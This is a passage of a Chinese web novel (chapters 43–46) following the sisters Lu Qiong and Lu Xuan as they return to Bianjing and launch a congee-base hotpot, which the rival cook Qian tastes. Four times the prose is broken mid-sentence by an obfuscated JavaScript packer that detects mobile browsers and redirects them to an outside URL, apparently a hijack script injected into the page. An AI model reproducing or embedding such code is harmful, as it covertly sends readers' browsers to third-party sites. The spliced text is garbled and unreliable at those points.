江素推开木栅栏，手上挎着一个竹篮，盖着一片布，不知里边是何物：“想着你们还没吃些什么，便带了些豆角、萝卜，还有一小块肉。” 说完便揭开布，露出里面的食材，肉还很新鲜，带着些血水，只是为何往这送呢？ 陆琼不敢收下，总觉得不合适，再加上昨日那般情形…… 江素也知她的顾虑，笑着解释：“阿笙也给离姐儿那送了一份，都是阿奶给的，平日这些菜都是锁起来，不叫我们碰的。” “且这萝卜啊，还是阿奶准备用来做腌菜的，毕竟小雪也很快到了，便提前准备了些。” 陆琼不太信这是刘婆子准备的，更像是江素为了“收买”她们给的，不过既然说到这个份上，也不应当再回绝了。 见她肯收下，江素才松了松紧绷的肩膀，笑得更真诚：“你在上元村还能待多久？” 说着还扭捏起来，陆琼知道她是想问能不能赶上她的婚事，可离开陆记有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092932|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些时日了，再拖着不走，早晚要出事，便婉拒了。 江素收起笑，也明白她在汴京还有许多事要做，便不再为难人：“好，我知道了，那我先回去了。” 送走江素，陆萱才从屋子里跑出来。 陆琼提着竹篮，捡出一根萝卜来仔细瞧，连泥都被擦得一干二净，背着陆萱道：“方才躲在门后边偷听多久了？” 陆萱皱着眉：“我们明日就要走？” 放下手中的萝卜，陆琼转头看她：“你还想在这待几日，怕你要闯更多祸，还得我来收拾烂摊子。” 这话一出便叫陆萱彻底闭嘴，乖乖低头跟着进屋。见她大气不敢出，陆琼嘴角勾起，久久下不去。 不过江素给的萝卜真不错，今儿的晚膳也有着落了。 虞娘家也有人拜访，便是江素的弟弟江笙，但更令人在意的是另一层身份——刘婆子的孙儿。 与刘婆子不同，她的两位孙儿都跟儿媳像，长相清秀，说话也是温声细语，但也没人敢当着刘婆子的面调侃二人。 说起来，也算是刘婆子强悍的性子护着他们一家子。 可虞娘才不怕刘婆子，连着江笙也不给好脸色，拿着扫帚赶人走：“你来做什么，害得我家离姐儿还不够多？” 江笙连连后退。他也不想来的，可是阿奶那凶悍的眼神，谁见了不害怕，若是不来，今儿出去就别想回…… “虞娘，这是给你的，别拿扫帚了。” 他用带子束起的长发，如今松了不少，急着躲扫帚的模样也叫人看了发笑，格外狼狈。 虞娘冷笑：“你帮我给她带话，赔她家的钱一分不会少。” 江笙有些摸不清头脑，不过揭开粗布看一眼里边，都是他爱吃的，便犹豫地道：“那这些还要不？我阿奶第一次这般大方，连肉都舍得送人。” 还提这事？ 就没见过这般没眼色的，虞娘都被气笑了，等意识到自己笑了才收住嘴角，想着都要赔这般多钱，拿她一点吃的也是应该。 虞娘咳一声，面无表情：“那给我拿来吧。” 本想自己独吞了的江笙：“……” 直到江笙离开，虞娘才揉揉自己的脸，总是木着脸，脸也会僵。很快又挑起竹篮子里的菜来，茄子、豆角、竟然还有肉……茄子就跟肉一起炒，豆角先放着，其余的日后看着办。 江素没耽误多少时候，比江笙先到家，远远望去便见到自家屋顶升起一缕炊烟。 阿奶也在做吃的。 刘婆子身上系了墨蓝围裙，是她亲手做的，裙带也是从别的废弃布料里裁出来，倒也不违和。 见江素回来了便随口问一句，末了才矜持问上一嘴：“江笙哪去了？怎么比你晚回来。” 刘婆子家离虞娘家更近，按理说江笙会是先回来的，她自是生疑。 江素接过她手里的竹刀，把剩下的萝卜给切了，竹刀撞上菜板，噔噔响：“许是有事耽误了。” 刘婆子撇她一眼，一把夺过竹刀：“碍手碍脚的，这不用你，你去看着火。” 刘婆子经常紧绷着脸，江素还非要调侃她，笑着：“那就当是阿奶怕我伤了手。” 没多久，被她们念着的江笙才迟迟归来。 43. 醉仙楼 在上元村的日子很快便过去，陆琼二人也不得不动身返回汴京。 临走前陆琼还仔细打量一遍院子、屋内以及灶房，原先的柴依旧没干透，犹豫过后，还是决定放回柴堆里，说不准下次回来便能点着了。 “阿姐，车夫已经来了，还有虞娘、离姐儿，都在等着……” 院外传来陆萱清脆的声音，陆琼应了一声好，才轻轻把门关上。 意外的是，樵夫周也来送行。 陆琼想起之前的话，不好意思道：“周叔，忘了给你带吃的的……下回一定记得给你带。” 说到后面，她都有些心虚，声音越来越小。 樵夫周见她像只鹌鹑一样，不敢抬头看他一眼，觉得好笑，不过面上看不出表情，风吹起他发丝，遮挡了半边脸：“你还是先照顾好陆萱，别叫她在汴京里半夜跑出来，听说城里有宵禁，会抓人。” “这两年早没宵禁了，”听这话陆琼忽地笑起来，打破沉寂的氛围，“周叔也得跟人多聊天，不然连城里变了点都不知。” 樵夫周也不说话，唯有饱经风霜的脸上一双犀利的眼睛直直盯着她。 陆琼被看得发毛，懊悔自己竟然敢去惹毛他，轻咳一声，转移众人的注意力，朝着虞娘道：“若有事，可以找找周叔帮忙，再不行，还能叫别人进城里给我稍个信。” “离姐儿也是……” 短暂相处了几日，便要面临分别时，心里也会格外低落。离开前，陆萱还附在离姐儿身上说了几句话，直到车夫催促才肯向众人挥手。 路边的谷子都被收净，原先是金黄一片，如今变得空荡荡，徒留村民赤脚在地里翻土，等待新一轮的播种。 伴着风，二人也渐渐来到熟悉的城门。 街上百姓也换上稍厚的衣裳，也有人只是在外头多套了一件长衫，不求华丽，只求暖和些。 一下换了新环境，陆萱还不适应，刚下地便愣在原地，直到闻见街上胡饼的香味，才发觉早已饥肠辘辘。 扯了扯陆琼的衣袖，有些期待：“阿姐，我想吃些东西。” 在汴京小半年，她们一般都是在家或是陆记解决吃食，很少在外头吃，如今也是起了新鲜感，想起到酒楼吃。 因着今儿要赶路，陆琼整夜辗转，偏偏就是睡不着，如今也正是累了，需要找地方歇脚。 “那去醉仙楼看看，正好离这近。” 醉仙楼，其装潢如其名，外边琼楼玉宇，内也大有乾坤，还为不同酒附上新名，例如将桂花酿称为“广寒玉液”，还有别的“清若空”、“十洲春色”、“流香”，诸如此类。 二人刚踏入酒楼，便听见四处传来杯酒碰撞声、谈话声。 “客官，当心脚下！”酒楼里小厮左手托着一个盘子，右手提着酒壶，还能分神招待新进来的客人。 大堂中央起了台子，帷幕连到酒楼最顶端，听闻这处皆是些瓦舍常见的技艺，如今台上还请人演曲子。 这钱花得值。 一楼座无虚席，她们便被人带到二楼，点了醉仙楼的招牌菜，还有两份熟水。陆琼在研究四周环境，二楼的席位与旁边用了屏风遮挡，却也不影响观赏大堂的表演。 小厮上新茶，倒满两个茶杯：“客官慢些享用！” 赶了一会儿路，两人都有些渴，也不管新茶多烫，吹两下便试探地饮了几口。 “阿姐！你看那人是不是杜哉！”陆萱忽地扯了几下陆琼的衣摆，激动地指着下边看。 杜哉？ 陆琼疑惑，循着方向望去，那人有些眼熟……好像真是杜哉？身旁说话的是方才的小厮，不过看两人谈话的姿态，不像是在招徕客人。 杜哉又是为何会从醉仙楼出去？ 难不成除了在她这做“推广”，还在别出开展了新业务？ 没了看头，陆萱便撑着下巴，呆呆望着楼下：“说不准，毕竟他近来还在给人讲故事。” 陆琼倒起了兴致：“这你是从哪儿得知的？” “盼儿说的，”陆萱无聊地往嘴里塞了块点心，“好似今年三月起，杜哉就在汴京到处跟人讲故事，这一带小的都知道他。” 陆琼点点头，若有所思，杜哉确实一直在挣钱，倒也不知一个小孩，要这般多钱做什么。 很快她也没空去想，别的小厮已经把菜给上了。 第一道是茴香汤，再就是荤菜川芎蒸子鸡，还有香橼饮、杏仁豆腐。 茴香汤加了豆腐、肉、鸡蛋，味道清爽，也不失鲜甜，在秋天品尝倒也有不同的滋味。 陆萱爱吃肉，先尝了蒸子鸡，一股草药味便涌上来，立即皱着一张脸：“好浓的草药味……” “川芎味道不算重了，你是没尝过花旗参鸡汤，那才叫一个冲。”陆琼也尝了块加了川芎的蒸子鸡，吃尽兴了还眯起眼来。 这川芎蒸子鸡是碰不得了。 陆萱叹气，幸好后来还添了道杏仁豆腐，至少能不挨饿。 醉仙楼的点心也不错，陆琼打包了几份带走，待会还要去金娘家把雪儿接回来，毕竟也总不能每回都带陆记的吃食，感觉有些寒碜。 金娘在院里歇息，她前些日生意好了些，学人找裴玉打了把躺椅，没事就躺在院子里，霜姐儿便在一旁跟雪儿玩。 霜姐儿坐在地上，摸着雪儿的背，抬头看向金娘，不解：“娘，你说雪儿的毛为何这么滑，比别的小狗都好摸。” “这是琼姐儿她们养得好，没人养的野狗身上都没肉……” 霜姐儿才六岁，但她已经知道野狗的意思，没有爹，也没有娘，更没有屋子住，还会被人欺负。 也有人有爹娘，可还是会被打。 雪儿忽地凑到她怀里，叫一声：“旺……” 霜姐儿便很快忘记那些事，把雪儿叫进屋，打算给他喂点吃的。 “金娘！” 金娘睡意朦胧，好似听到了有人在唤她，倏地睁眼，已是黄昏了，身上还盖了件衣裳。 回过头去，便见霜姐儿蹲在门槛前，朝她笑。 等陆琼进来，二人才开始寒暄，聊起家常，譬如近来天气转冷，多添些衣物，还有新带来的点心…… 金娘对吃最是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097924|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上心，笑得也更加欢了，还聊起裴家来：“听说裴家小郎君近来在四处收徒，中秋那几日可是接了不少单子，如今热手得很。” 裴玉也才十八，身上便是有一股狠劲，像野草一样不断生长，一有机会便拼命往上攀，有如今这番成就也是应当的。 陆琼也附和几句。 随后还聊起裴玉的爹，说是中秋那日回来了，不过又吵起来了，说是还带回了一个人，惹得杨三娘把整个家搅得天翻地覆。 裴玉这几日为了寻清静，在外头租了间房，还把杨三娘的女儿裴丫带走了。 陆琼没想到他这人想得挺周到，只评价一句：“还算好心。” 金娘也点头：“好在裴玉愿意把丫丫带走，不然整日见爹娘吵，长大了可怎么好。” …… 夜里的汴京依旧灯火阑珊，趁着月圆，这几日游画舫的人只多不少，州桥上更是人挤人，若不是有街道司的巡吏在管控，怕是要出不少乱子。 陆记这几日的生意一般，许是少了掌柜的缘故，也可能是中秋后众人对月饼的热情退去。 还是杨姐儿在打理，雇了两个帮工，一个招徕客人，一个替她打下手，备菜、蒸点心、看火，最为重要的和面杨姐儿还是亲力亲为。 方才帮厨的小娘子没洗净手便碰了碗，被杨姐儿看到了，便训斥一番：“灶台的一切都需工整、干净，不得有任何污秽……” 身后忽然传来一阵笑声。 杨姐儿本有些气，可这笑声好熟悉？转过身去，果真是小娘子回来了，语气激动：“小娘子？你们可算是回来了，这几日我是睡不好也吃不好，打理店铺可太难了。” 见她情绪转变如此之快，陆琼笑出眼泪：“可方才我还以为是谁在店里训人呢？原来是杨掌柜，可真是有本事！一点也看不出难的样子。” 杨掌柜……不，是杨姐儿也腼腆起来：“这也是按照小娘子嘱咐的来，不算什么。” 陆萱见她这般扭捏，也在一旁偷笑：“阿姐，你就莫打趣杨姐儿了，就快要抬不起头了。” 等店里一忙起来，这事才算过去。 穿过州桥，贺玄清一路负着手，连连叹气。方才与友人在汴河说起前几日的秋闱，委实是有些惆怅，本还有自信，可聊完后，总觉得有些地方发挥失常了。 走进陆记，便看到眼熟的小娘子，才算是有了几分高兴。 陆琼也认出他，是她在龙津桥摆摊的头一位客人，后来也跟着到陆记，可不知为何，这几月却很少见他。 听她这般问，贺玄清也笑：“陆掌柜有所不知，这月初九到十五正是秋闱的时间，前段时日便也是被耽误了。” 陆琼懂，这是闭关去了。 不过，谢洵好像也要参加今年秋闱来着，为何他就这么闲，三天两头便能来一回，总不能是真的喜欢吃吧？ 贺玄清还在不停解释：“……下月初，考试结果便能出来，近来也是忧虑不断，先是恐发挥不当，再是怕辜负家中长辈的期望……” 原来不论是古人，还是后世的学生，都会焦虑啊。 44. 陶瓷锅 昨夜没来得及盘点账本，今儿陆琼便早早来到陆记，翻开账本，发觉近来好似挣了不少？ “七月十二，酥山二十六份……八月初二，酥山二十份，杨梅渴水三十份……八月十七，酥山两份，粥点二十份……” 近来酥山、冷元子还有一系列渴水卖得愈加少，反倒是粥饮卖出许多。 还没仔细想，便听见“哐”一声，回头见是杨姐儿把切过肉的竹刀收起来，换一把洗净的刀来切胡瓜。 先前便跟她提过，切肉食的刀具应当跟素食的分开，当初杨姐儿还不理解，觉得麻烦，好几回还忘了。 看起来如今也习惯了，见她终于把自己的话听进去，陆琼也觉得欣慰。 账本还摊开在眼前，她把手撑在下巴处，指尖也跟着一点一点敲打着脸颊。 雇的帮厨还在，也没有叫他们提前走，毕竟是花了钱的。不说手艺如何，至少叫她们不那般累了。 可现在面临新问题，天冷有什么应景的吃食？ 凡是要用冰的都从菜品里取消了，如今也该添新样式了，还得是吃了便叫人觉得暖和的。 正想着，孟升便径直走来，指节敲敲木柜板：“陆掌柜，来一份鸡丝肉粥！” 陆琼被这一声拉回现实，合上账本，才笑着招徕：“近来可是太忙了，自打乞巧过后，就再也没见过。” 孟升挠挠头，高大的人也有了娇羞样，黝黑的皮肤透出一点红，乐呵呵：“有事耽误了……” 看这模样，是有喜事？ “好。”陆琼也不打趣人，转身跟金娘说一声，便把孟升带到靠后门的桌子。 桌上还有些未擦干的油渍，许是帮工偷懒了。 趁孟升没注意到，陆琼先撤下腰间的布，迅速一擦，随后若无其事收在手里：“可要上新茶？” 孟升摆摆手，仰头大笑，声音沉闷如滚雷碾过胸膛：“不要茶，这种天得喝酒才尽兴！” 陆琼便应他要求热了一壶梅子酒，店里的酒都不烈，只要克制些，小酌几杯也不会醉。 等店里人更多，陆琼观察发觉，点粥食的意外多，这叫她想到后世的“粥底火锅”，若是能搬到陆记来，也不知受众如何？ 干脆去订做几个“火锅”试试。 从前的人吃火锅所用的锅主要是用青铜制成的，多为贵族使用。 等到汉代与唐代，陶土以及瓷土烧制而成的陶瓷锅更受欢迎，价格更低，平民百姓也能享用起，到了宋朝便更不用说。 陆琼趁着闭店，打算寻人订做两个，本以为要费些时日，未曾想已有现成的，不愧是走进市井小民的吃法。 掌柜指着一批陶瓷锅，细细道来：“这出自耀州耀，虽比不得汝窑，却也是寻常人家用得起的好物，毕竟咱也不能跟官家比啊。” 陆琼点头，伸出手贴到锅壁上，摩挲几下，外壁光滑。 像掌柜说的汝窑，也只有皇室能用，还不准民间仿制，外头买的，不是假的便是要掉脑袋的。别的还有定窑、龙泉窑，不过都是文人士大夫在用，样式文雅，放在她店里画风不搭。如此下来便只有这耀州窑的合适。 最后先买下两个，陆琼跟掌柜付好定金，便说好第二日托人送到陆记来。 这一条街离州桥有些远，更靠近虹桥，亦是商铺林立，因着离城门近，客栈也更多。 陆琼沿着街巷走，转角便在一家客栈遇见裴玉，真的带了一位学徒帮手。 许是帮客栈打了几套木具，样式繁杂，比以往的都要精致，且客栈的小厮也出来帮忙，几人小心翼翼，生怕磕到碰到了凳腿桌脚。 裴丫也带在身旁，也不哭不闹，手里抓着一块梨花膏，时不时嘬一口，黏在手心了，便直接舔干净。 有些乖，比小时候的陆萱乖多了。 裴玉刚搬完一趟，出了一身汗，怕裴丫觉得无聊，便在她前面蹲下，替她挽起贴在嘴角的碎发，点了点她鼻子笑她是只小花猫。 “怎么吃得满脸都是糖渍，黏糊糊的。” 裴丫只会笑，双眼弯起来像小月牙，把剩下的半块沾满口水的梨花膏递到裴玉嘴边：“咯咯，糖……” 都是口水，还泛着光，裴玉下不去嘴，身子不自觉往后仰，推开裴丫的手，才迟疑道：“我不饿，你把剩下的都吃光，就带你去吃上回的角子。” 听到他不吃，裴丫也没失落，一口塞在嘴里，这突然的举动把裴玉都吓坏了。 “小心些，别噎到了……”裴玉剩下的话都堵在嘴里，因为裴丫很快便把糖嚼干净了。 他不懂，还是说孩童的牙口都这般好？ 裴丫吃完梨花膏，还张大嘴给他检查，随后用黏糊糊的手拽了拽裴玉的衣摆。 裴玉也不在意弄脏了衣裳，对上她眼睛，轻声问：“怎么了？丫丫。” 裴丫手指还拽着他衣裳，纠结了一小会儿，才慢吞吞道：“角子，给娘……” 看她期待的眼神，裴玉也知道她是想杨三娘了，毕竟出来好几日了，只是没想到她这段时日还能乖乖待在身边。 不忍心叫她失望，裴玉轻轻掐了下她的脸，哄着道：“等明日可好？届时不止带上角子，还有别的……” 一长串话下来，裴丫也不能全都听懂，只知道今日不能见到娘。眼里立刻淌出泪水，像掉串的珍珠，一滴滴迅速往下坠，最后还是没有再提起这件事。 裴玉牵着她的手，吐出一口气，也不知明日该如何应对。 …… 陆琼并不知道裴丫后来哭了，按往日常走的路线回到巷子里，路过裴家，还听见不小动静。 许是又吵起来了，昨日便闹出不少笑话，不知今日又是在闹哪一出。 她便摇摇头，一路提起裙摆，避开青砖的缝隙走回去。 推开门便见邻家的枣树结了不少枣，沉甸甸的果实压弯了树枝，说不准过几日她们家也能来个丰收！ 忽地背后传来开门声，陆萱正提着小半桶水回来，许是一路洒了不少…… 她气喘吁吁，额上还冒了不少汗，脸蛋起了红晕，刚跨进院子，便松手把桶放下。 “阿姐！太累人了，前几日在家里头走两步便能到井里打水，如今还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15102313|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑这般远，累人……” 井…… 陆琼摸着下巴，若有所思，随后才开口：“那我们这几日就换一个新院子，这里确实不太方便。” 如今还好说，若是等天更冷，还下着雪，去别处打水便更加不方便。 陆萱先是呆住，再是睁大眼睛，一双星星眼看着陆琼，压抑着语气里的激动：“当真？” 陆琼笑她：“这还能有假？” 兴奋过后，陆萱又冷静下来：“可我们还有钱吗？” 阿姐说要去订新的锅，还不止一个，这便要花去不少钱。且施三娘要的租金不少，每月便要花去五两银子，若是再换一个好一点的院子……她们还会有钱？ 想到她跟阿姐可怜兮兮，拿着一只破碗，站在街上跟人讨钱的样子，便打了寒战。 不行，可不能叫阿姐把钱都败光了。 为了避免留宿街头，陆萱坚决摇头：“阿姐，如今我们才有点余钱，不能这般随意花，铺子要用钱的地方还多着，棉衣不买了？取暖用的炭也不要了？还有街道司的公凭，过两日还得去续……” 陆萱小嘴叭叭，噼里啪啦说了一大堆。 陆琼笑得腰都直不起来，按她这思路，以后她打理铺子得亏不少钱。 “这事你就不必担心，我们钱只多不少。” 怕她继续念经，陆琼赶紧把人叫进去，毕竟水缸还等着她们“喂饱”呢。 本来说好次日才将陶瓷锅送来，结果到傍晚的时候，掌柜便提早叫人来了。 跑腿的小厮笑道：“咱家掌柜怕你们急用，听说你们铺子开张了，便叫我们赶快送来。” 是这般说，却也是怕陆琼反悔，早早把剩下的账结清了才安心。 不过他们也细心，搬运的时候格外小心，听陆琼吩咐放在靠墙的两张桌上。 陶瓷锅上边隆起，方便烟从下往上出，烟管四周是凹槽，便是蒸煮食物的地方。下边夹层有一个洞口，可以直接往里加炭，也可以在一开始便把炉子端起来，慢慢调整炭火。 实用也不大重，两个成年女性便能合力抬起。 等食客到店，见到桌上放了这样式的锅便开始好奇：“掌柜这是要开‘暖锅’，还是做拨霞供？” 陆琼笑而不语，等食客猜了个遍，最后都不耐烦了，才说出答案：“是粥底火锅！” 在座的除了她便没人知道这是什么东西，不过想着过往做过的新奇菜品，都越发好奇了。 常来的婶子问：“要何时能吃上？” 陆琼见众人反应不错，也更加高兴，满意地笑：“这陶瓷锅刚到，还没开锅，最迟明晚，届时要是人多了，说不准大家还要等些时候。” 还有不少人追问，等她耐心说了好几回，食客才乐意散去，也不知有几人把这粥底火锅挂在心。 亥时一到，陆记准时闭店，可隔壁的施三娘却进了店里。 陆琼还在研究陶瓷锅，便被这意外的客人吓了一跳，杨姐儿和陆萱也跟着忧心忡忡。 此时所有人心中都只有一个念头——这是为了铺子的事来？ 45. 钱掌柜 因为施三娘的到访，店里气氛一时陷入沉寂，她们皆停下了手中的动作。 陆琼更是皱眉，店里才有起色，正是挣钱的时候，难道就要就此中断？ 她把陶瓷锅摆正，走向施三娘，面上笑道：“三娘今日前来所为何事？” 不想提铺子的事，也不敢提。 却没想施三娘只是笑一声，说是见她前几日不在以为是出什么事了，便好奇来问问。 陆琼也在松下紧绷的身子，笑得更真诚：“只是回家一趟，耽误了几日。” 施三娘若有所思，不经意间还瞥了一眼陆萱，才转过视线笑道：“陆掌柜的家必定是个好地方，才叫你们日日记着。” 不知是不是陆琼的错觉，总觉得施三娘一直往她头上瞧，可是有什么奇怪之处？ 施三娘几次欲言又止，最后却只是夸陆琼今儿打扮好看。 这是为何？ 陆琼一直云里雾里，不明白施三娘是何意，但她如今也算是“房东”，惹不得，便笑着收下她的夸赞。 施三娘还问起上元村的风光，有何风俗、有何过人的吃食。 陆琼的笑从眼底漫到眉梢：“汴京之外，所见风光并无不同。不过是心中对此地有几分怀念，说不上有何过人之处，到底是有想念的人在。” 也不知是那句话触动了施三娘，眼底竟有些红？ 施三娘最后留下一句：“若有机会，来日定要好好到此地拜访。” 待她离开，躲在一旁的杨姐儿才肯出来：“三娘来这就为了与你聊天？你们何时变得如此亲近了？” 陆萱也突兀地道一句：“我还以为她要来把我们赶出去。” 赶出去？陆琼不解，低头看她：“谁告诉你她会把我们赶出去？” 陆萱自知说错话，赶紧捂住了嘴，只露出一双无辜的圆眼，直溜溜盯着陆琼看。 嘴里含糊不清：“我才不会出卖离姐儿的……” 陆琼无力扶额，怎么会有这般“机灵”的人。 杨姐儿倒是没留神听她们的谈话，学陆琼把手撑在下巴处，一边摩挲着：“这施三娘可是在打探消息？” 又一个机灵鬼，陆琼也不想知道杨姐儿口中的“消息”是什么，把人叫回去：“时候也不早了，如今再不回去天更晚了，到时黑漆漆一片，怕你找不着路。” 杨姐儿最怕黑，一听到抹黑赶路，先前说的话便也记不得，最后再把店里一切都盘点仔细，才跟她们告别。 陆琼二人也多耽误，在杨姐儿离开后，便也打着灯笼回去。 一到夜里，陆记院子便一片寂静，随后才传来脚步声。 陆琼跟雪儿玩一会儿，才回到卧房里。 如今卧房新添了不少家当，先前找裴玉打了两套梳妆台，另一张在隔壁间。正中央靠着一面铜镜，映出她那张清秀的脸，头上插着一支发簪。 借着桌边的烛光，陆琼把这簪子拆下来，捧在手心，阖上眼细细观摩。 今日施三娘反复打量的许是这只簪子。 可这与三娘有何关系？ 陆琼弄不明白，便把簪子收到木匣子里，合上，换身衣裳便上床歇息。 身上盖的还是从上元村带来的被褥，熟悉的气味令人安心，她蹭了蹭被窝，很快便渐渐入睡。 好似还做了个梦，梦里有一男一女在争执，陆琼站在一边，想要叫住他们，却是徒劳。 …… 今儿可是重要的日子，陆记上下、里里外外全都开始忙活，两位帮工也在做些简单的琐事，端盘子、泡茶、洗碗、收拾残羹…… 陶瓷锅昨儿便用开水泡过，里外全都洗过，不放过任何犄角旮旯。 陆琼在灶房掌勺，锅里煮着米粥，一边给杨姐儿传授经验：“粥底火锅，最重要的便是粥底。如何熬好一锅粥？便是要看熬的火候、时候，至少得熬上一两个时辰……” 一锅白粥，并无什么稀奇，杨姐儿在一旁点头，心里都记着。 为了让“粥底火锅”打出名声，陆琼还花大价钱买了一批螃蟹、猪下水、还有各式各样的肉，最后是些素菜，还叫其中一位帮工来切成小份。 陆琼手下的刀也为停过，切肉切得手腕疼，啧一声，可真不容易，若是没有别人帮忙分担，还要更累些。 忽地，她感觉背后一凉，原来是杨三娘悄悄靠过来，还避着旁人，小声在她耳边道：“方才施三娘又往这边瞧，许是看我们在推新菜品，她也想偷学……我们得防着她些……” 施三娘？ 陆琼不解，放下竹刀回过头问她：“三娘的铺子不是快午时才开业，今儿怎么这般早了？” “哎呦，小娘子怎还如此迟钝，人家这是要偷学！见我们这什么卖得好便要学去，且自打她来，我揉的面皮都没人吃了……” 陆琼也不明白她到底哪来的这么多奇怪的想法，还偷学？ 这地儿本来就小，如今还塞了三个人，便催着她到别出去：“杨姐儿，这蘸料还没调呢，快去备好，客人可是要来了。” 店里只余下切菜声、粥水咕噜沸腾声、食客谈话声、还有人险些把自己烫着了…… 不只是昨夜的食客前来，就连钱掌柜也闻声赶来，还带来了一批看热闹的行人。 钱掌柜是附近食肆的领头人，回回出了菜品，都会风靡汴京一时，可近来竟多了一位小娘子跟他争风头。 他可不得好好瞧瞧。 对于汴京的百姓来说，一辈子也见不着一回圣上，却不能不知道厨艺高超的钱掌柜！更不能没吃过他做的菜！ 据传，钱掌柜祖上是御膳房的厨子，传了一本薄薄的折子。 有人不小心瞧见过，这折子写的都是秘方！ 一般人对厨子的形象是敦实健壮的，可钱掌柜不同，看起来细胳膊细腿的，更像是别处的病弱书生，许是个药罐子。 钱掌柜为人和善，虽有如此作为却不到三十，如今还孤身一人，未曾娶妻。 旁边的食客如今一脸谄媚：“钱掌柜，你也是来瞧瞧这陆记的新品？” 钱掌柜自是笑：“恰好路过见这排满了人，一问才知是有什么‘粥底火锅’，便有些好奇。” 他自不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109446|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说，是想知道争他风头的是什么厉害人物。 见陆琼当中把熬烂的粥端出来，还把米捞出来，只剩下一锅纯白的米汤？ 钱掌柜默默摇头，不过还是接着看。 陆琼可知道风靡汴京的大人物在一旁审视她，尽心做好手中的事，把螃蟹洗净，钳子剪开，放在盘中备好。 还有旁的食材也被帮工端出来，依次摆在最靠外边的桌上。 陶瓷锅掀开，早已放了不少炭，打火石就着干草很快点出一小团火，哗的一声炭便猛地烧着。 不过这粥亦是热的，很快便能把食材倒进去。 陆琼捧起一碟螃蟹：“这粥底火锅下菜的顺序也有说法，先下蟹，再下肉，后下素……” 本来还以为众人会等得不耐烦，毕竟这也要一定时候才能熟，可这蟹的香味一直往外散，就是街对面也能闻着。 一行人都吞了吞口水，盯着那咕咚着的蟹，不敢分神。 等全都下好，陆琼便盛出几小碗来，还不停冒着热气：“可有人要先来试吃一份，这一锅都不要钱。” 食客也习惯了上新菜品便试吃的活动，都攥紧拳头，准备夺下这一份。 谁想竟有人先出声。 不过见是钱掌柜，旁人也没了怒气，都推举他作为试吃的第一天，毕竟钱掌柜不仅厨艺好，嘴也挑，遇见不合口味的菜品，定要狠狠挑刺。 陆琼知道这位郎君厨艺不错，加上众人都乐意，她也难得不用费心思选人，便笑着递上粥：“那便请这位郎君先品尝！” 钱掌柜见她这么自信，心里冷笑，笑一声：“多谢陆掌柜。” 碗里配了勺子，桌也有蘸料，不过他偏不用蘸料，在他看来，唯有原味才能吃出这食材到底是好还是坏。 他先盛一勺粥，送到嘴边就能闻到一股厚重的香味，蟹香、肉香……明明很杂乱，却意外地交融在一起。 而且味道也很鲜，比意向中要好很多。 见他吃了好几口，却半天不说话，旁人也揪心得不得了。 这到底是好吃还是不好吃？ 在众人炽热的目光中，钱掌柜缓缓放下碗，从怀里掏出一块手帕，慢条斯理地在指尖擦几下，叠好手帕才不急不慢道：“这粥……” 不好吃？ 陆琼也挑眉，看着他一言不发。 吊着众人的心，钱掌柜才把话接上：“这粥的火候不够，还需再多熬一会儿……蟹也选得不好，这羊肉膻味太重，还有萝卜切得太薄……” “不过味道还不错，可以一试。” 这气断的，把陆琼也吓一跳，不过他也确实把问题指出来了，并非挑刺。 虽不知道他是谁，陆琼也虚心接受，笑道：“时间仓促，还未来得及好好准备，若有机会，下回定不叫钱掌柜失望。” 钱掌柜也回笑，只是笑意不达眼底：“并非如此，时间仓促不是借口，若是有心，应当叫前来的每一位食客都不失望。” 不过陆琼没被他的话激怒，不打算跟他掰扯下去，把剩下的火锅都分出去，也拿下了一批新的食客。 46. 新宅子 陆记的好生意一直持续到夜里，就是下午也难得没有闭店歇息，而陆琼也不止一次捶腰感叹：“幸亏还留下了两个帮工……” 许是因为席位一直紧张的缘故，竟有些“饥饿营销”的意味，食客都愿意排长队来等。不止是锅不够用，食材也短缺，她低估了食客对美食的疯狂程度。 杨姐儿更是不敢歇手，对着陆琼“抱怨”：“今儿可累人，我的手脚就没停下过。” 